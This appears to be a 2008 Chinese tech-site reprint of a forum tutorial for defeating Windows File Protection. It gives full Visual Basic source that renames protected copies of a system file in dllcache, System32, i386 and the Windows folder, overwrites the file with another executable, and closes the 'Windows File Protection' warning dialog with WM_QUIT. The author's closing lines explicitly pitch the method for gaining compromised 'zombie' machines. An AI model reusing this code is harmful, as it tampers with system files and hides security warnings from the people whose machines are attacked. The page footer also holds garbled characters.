科技行者

行者学院 转型私董会 科技行者专题报道 网红大战科技行者

知识库

知识库 安全导航

至顶网网络频道Windows文件保护如此不堪一击

Windows文件保护如此不堪一击

  • 扫一扫
    分享文章到微信

  • 扫一扫
    关注官方公众号
    至顶头条

“破坏”思想 还是先说思想,有了思想万事都好办。注意“攻略”一文中对话框的标题,是不是“Windows 文件保护”啊。我们就从它下手。有两种方法,一是根据这个窗口标题查找,找到后将其隐藏,这个可以通过ShowWindow API和SW_HIDE消息来完成,但是毕竟窗口仍然存在,不是很安全。

作者:论坛整理 来源:zdnet网络安全 2008年1月2日

关键字: 数据安全 系统安全 Windows

  • 评论
  • 分享微博
  • 分享邮件
“破坏”思想
还是先说思想,有了思想万事都好办。注意“攻略”一文中对话框的标题,是不是“Windows 文件保护”啊。我们就从它下手。有两种方法,一是根据这个窗口标题查找,找到后将其隐藏,这个可以通过ShowWindow API和SW_HIDE消息来完成,但是毕竟窗口仍然存在,不是很安全。第二种也同样是根据这个窗口标题查找,找到后不是将其隐藏,而是通过发送系统消息直接关闭。下面我将以一个完整的替换文件、关闭对话框的例子来讲解。这里选择第二种方法。

界面设计
  好了,还是先给出各控件布局,及对应属性。

初始化
  程序开始首当其冲的当然是初始化了。在这里要声明需要使用的API、常数及变量,并获取Windows目录的完整路径。
’获取WINDOWS安装所在目录的API
Private Declare Function GetWindowsDirectory Lib "kernel32" Alias "GetWindowsDirectoryA" (ByVal lpBuffer As String, ByVal nSize As Long) As Long
’查找窗口句柄的API
Private Declare Function FindWindow Lib "user32" Alias "FindWindowA" (ByVal lpClassName As String, ByVal lpWindowName As String) As Long
’根据句柄关闭指定窗口的API
Private Declare Function PostMessage Lib "user32" Alias "PostMessageA" (ByVal hwnd As Long, ByVal wMsg As Long, ByVal wParam As Long, ByVal lParam As Long) As Long
’关闭窗口的常数
Private Const WM_QUIT = &H12
’存放Windows目录的变量
Dim WindowsDirectory As String

Private Sub Form_Load()
’存放获取的Windows目录的字符串缓冲区
Dim Path As String
’设置缓冲区内容,以便分解Windows目录的完整路径
Path = Space(255)
’获取Windows目录的路径,存放进缓冲区
Call GetWindowsDirectory(Path, 255)
’分解Windows目录的完整路径
WindowsDirectory = Mid(Path, 1, InStr(1, Path, " ") - 2)
’指定被替换文件的完整路径及文件名
txtSource.Text = WindowsDirectory & "\" & "notepad.exe"
’指定替换文件的完整路径及文件名
txtDestination = WindowsDirectory & "\" & "regedit.exe"
End Sub
  然后就要开始替换文件的过程了。判断指定的被替换文件和替换文件是否都存在,存在的话则就根据复选框选择的路径进行替换,这里的思想是将所有的文件都改名了,就没有办法恢复了,然后将替换文件复制成被替换文件,这样就避免了直接替换而可能产生意料情况。替换后将定时器激活,进行对话框查找。
Private Sub cmdDo_Click()
’执行时屏蔽所有的操作对象,防止误操作,而导致程序崩溃
cmdDo.Enabled = False: txtSource.Enabled = False: txtDestination.Enabled = False
chkWindows.Enabled = False: chkSystem32.Enabled = False: chkDllcache.Enabled = False: chkI386.Enabled = False
’设置错误陷阱,因为下面的程序涉及到文件操作
On Error Resume Next
’判断被替换文件和替换文件是否存在
If Dir(txtSource.Text) <> "" And Dir(txtDestination.Text) <> "" Then
’存在,定义被替换文件的文件名存放变量
Dim FileName As String
’获取被替换文件的文件名
FileName = Mid(txtSource.Text, InStrRev(txtSource.Text, "\") + 1, Len(txtSource.Text) - InStrRev(txtSource.Text, "\"))
’判断是否选中Dllcache复选框
If chkDllcache.Value = 1 Then
’是则对Dllcache下的被替换文件改名
Name WindowsDirectory & "\system32\dllcache\" & FileName As WindowsDirectory & "\system32\dllcache\" & FileName & ".bak"
End If
’判断是否选中System32复选框
If chkSystem32.Value = 1 Then
’是则对System32下的被替换文件改名
Name WindowsDirectory & "\system32\" & FileName As WindowsDirectory & "\system32\" & FileName & ".bak"
End If
’判断是否选中I386复选框
If chkI386.Value = 1 Then
’是则对I386下的被替换文件改名
Name WindowsDirectory & "\ServicePackFiles\i386\" & FileName As WindowsDirectory & "\ServicePackFiles\i386\" & FileName & ".bak"
End If
’判断是否选中Windows复选框
If chkWindows.Value = 1 Then
’是则对Windows下的被替换文件改名
Name WindowsDirectory & "\" & FileName As WindowsDirectory & "\" & FileName & ".bak"
End If
’将替换文件复制为被替换文件
FileCopy txtDestination.Text, txtSource.Text
’激活定时器
timCheck.Enabled = True
End If
End Sub
  最后则是不停的监视那个“Windows 文件保护”的对话框,一出来就通过PostMessage API向其发送WM_QUIT系统消息,将其关闭。这里要注意一点,是用PostMessage而不是SendMessage,主要是因为消息不需要等待,如果用后者,则关闭不了“攻略”一文中的对话框。反而会弹出另一个对话框。
Private Sub timCheck_Timer()
’设置错误陷阱
On Error Resume Next
’定义存放"Windows 文件保护"窗口句柄的变量
Dim hwnd As Long
’查找"Windows 文件保护"窗口,并把对应的句柄存入变量
hwnd = FindWindow(vbNullString, "Windows 文件保护")
’判断是否找到窗口
If hwnd <> 0 Then
’是则关闭窗口
Call PostMessage(hwnd, WM_QUIT, 0, 0)
’给出成功提示
MsgBox "替换成功!", vbInformation
’退出程序
End
End If
End Sub
好了,到这里就可以编译使用了。

写在最后
这样简简单单几步就把MS安全强大的WFP给突破了,让我自己也有点不敢相信,不过这是事实,不得不信啊。一个“小”洞+一款利器=多多肉鸡,相信你绝对不会错过的。留下BLOG,随时欢迎。http://smallrascal.blog.tom.com
    • 评论
    • 分享微博
    • 分享邮件
    闂傚倸鍊风欢锟犲矗鎼淬劌绐楅柡鍥╁亹閺嬪酣鏌曡箛瀣仾濠殿垰銈搁弻鏇$疀鐎n亖鍋撻弽顓ㄧ稏闁跨噦鎷�

    婵犵數濮烽。浠嬪焵椤掆偓閸熷潡鍩€椤掆偓缂嶅﹪骞冨Ο璇茬窞闁归偊鍓涢悾娲⒑闂堟单鍫ュ疾濠婂嫭鍙忔繝濠傜墛閸嬨劍銇勯弽銊с€掗柟钘夊暣閺岀喖鎮滈埡鍌涚彋閻庤娲樺畝绋跨暦閸洖鐓涢柛灞剧矋濞堟悂姊绘担绛嬪殐闁搞劋鍗冲畷銏ゅ冀椤愩儱小闂佹寧绋戠€氼參宕伴崱妯镐簻闁靛牆鎳庢慨顒€鈹戦埥鍡椾簼婵犮垺锚铻炴俊銈呮噺閸嬪倹绻涢崱妯诲碍閻庢艾顦甸弻宥堫檨闁告挾鍠庨锝夘敆娓氬﹦鐭楁繛鎾村焹閸嬫捇鏌e☉娆愬磳闁哄本绋戦埞鎴﹀川椤曞懏鈻婄紓鍌欑劍椤ㄥ懘鎯岄崒鐐靛祦閹兼番鍔岄悞鍨亜閹烘垵顏╅悗姘槹閵囧嫰寮介妸褎鍣ョ紓浣筋嚙濡繈寮婚悢纰辨晣鐟滃秹鎮橀懠顒傜<閺夊牄鍔庣粻鐐烘煛鐏炶姤鍠橀柡浣瑰姍瀹曠喖顢橀悩铏钒闂備浇宕垫慨鎶芥⒔瀹ュ鍨傞柦妯猴級閿濆绀嬫い鏍ㄧ☉濞堟粓姊虹涵鍛【妞ゎ偅娲熼崺鈧い鎺嗗亾闁挎洩濡囧Σ鎰板籍閸繄顓洪梺缁樺姇瀵剙螖閸涱喚鍘搁梺鍓插亽閸嬪嫰鎮橀敃鍌涚厱閻庯綆鍋嗘晶顒傜磼閸屾稑绗ч柟鐟板閹煎湱鎲撮崟闈涙櫏闂傚倷绀侀幖顐も偓姘卞厴瀹曞綊鏌嗗鍛紱閻庡箍鍎遍ˇ浼村磿瀹ュ鐓曢柡鍥ュ妼婢ь垰霉閻樿秮顏堟箒闂佹寧绻傚Λ妤呭煝閺囥垺鐓冪憸婊堝礈濮樿泛钃熼柕濞у嫷鍋ㄩ梺缁樺姇椤曨參鍩㈤弴銏″€甸柨婵嗗€瑰▍鍥ㄣ亜韫囨稐鎲鹃柡灞炬礋瀹曢亶顢橀悢濂変紦

    重磅专题
    往期文章
    最新文章